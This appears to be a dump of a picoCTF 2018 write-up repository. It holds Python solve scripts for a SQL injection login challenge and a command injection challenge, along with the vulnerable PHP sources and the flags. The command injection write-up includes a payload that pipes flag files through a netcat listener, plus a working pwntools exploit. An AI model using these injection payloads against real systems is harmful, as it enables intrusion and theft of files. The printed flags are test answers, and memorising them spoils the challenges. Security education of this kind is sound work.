= requests.post('http://2018shell1.picoctf.com:56537/login.php', data=params) print re.findall(r'(picoCTF\{.+\})', r.text)[0] ================================================ FILE: Web Exploitation/The Vault/solution/source/index.html ================================================ Login

Log In

login.php source code
================================================ FILE: Web Exploitation/The Vault/solution/source/login.txt ================================================ "; echo "username: ", htmlspecialchars($username), "\n"; echo "password: ", htmlspecialchars($password), "\n"; echo "SQL query: ", htmlspecialchars($query), "\n"; echo ""; } //validation check $pattern ="/.*['\"].*OR.*/i"; $user_match = preg_match($pattern, $username); $password_match = preg_match($pattern, $username); if($user_match + $password_match > 0) { echo "

SQLi detected.

"; } else { $result = $con->query($query); $row = $result->fetchArray(); if ($row) { echo "

Logged in!

"; echo "

Your flag is: $FLAG

"; } else { echo "

Login failed.

"; } } ?> ================================================ FILE: Web Exploitation/fancy-alive-monitoring/README.md ================================================ # fancy-alive-monitoring Points: 400 ## Category Web Exploitation ## Question >One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell1.picoctf.com:31070 ([link](http://2018shell1.picoctf.com:31070/))? ### Hint >This application uses the validation check both on the client side and on the server side, but the server check seems to be inappropriate. > >You should be able to listen through the shell on the server. ## Solution Looking at the php source code, we can see that the regex on the server side is missing a _$_ at the back. This means that we can append any shell command after the IP Address. There's also client side Javascript, but we can circumvent it using Python. All we have to do is to append a listener using netcat and get the flag. In this case, I set the port to 54433. Pipe the command `cat *flag*` to receive the flag. Exploit: `8.8.8.8; cat *flag* | nc -lp 54433`. _8.8.8.8_ is used because that's the IP of Google's DNS. I used it just to speed up the process. Finally, we connect to the server using netcat and get the flag. `nc 2018shell1.picoctf.com 54433`. Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{n3v3r_trust_a_b0x_91345b04}` ================================================ FILE: Web Exploitation/fancy-alive-monitoring/solution/solve.py ================================================ #!/usr/bin/python from pwn import * import requests import threading from time import sleep import re PORT = 54433 def exploit(whut, exploit): log.info('Sending exploit...') params = { 'ip': exploit } r = requests.post('http://2018shell1.picoctf.com:31070/index.php', data=params) threading.Thread(target=exploit, args=(None, '8.8.8.8; cat *flag* | nc -lp {}'.format(PORT))).start() log.success('Exploit sent!') log.info('Connecting to shell in 3 seconds...') sleep(3) r = remote('2018shell1.picoctf.com', PORT) flag = r.recv() r.close() log.success('Flag: ' + re.findall(r'(picoCTF\{.+\})', flag)[0]) ================================================ FILE: Web Exploitation/fancy-alive-monitoring/solution/source/index.php ================================================ Monitoring Tool

Monitoring Tool ver 0.1

Input IP address of the target host



index.php source code ================================================ FILE: Web Exploitation/fancy-alive-monitoring/solution/source/index.txt ================================================ Monitoring Tool

Monitoring Tool ver 0.1

Input IP address of the target host


Target is NOT alive."); break; } else if (strpos($str, ', 0% packet loss') !== false){ printf("

Target is alive.

"); break; } } } else { echo "Wrong IP Format."; } } ?>
index.php source code ================================================ FILE: _config.yml ================================================ theme: jekyll-theme-hacker ================================================ FILE: template/README.md ================================================ # Question Points: pts ## Category Category ## Question >Question goes here ### Hint >Hint goes here ## Solution Solution here ### Flag `Flag`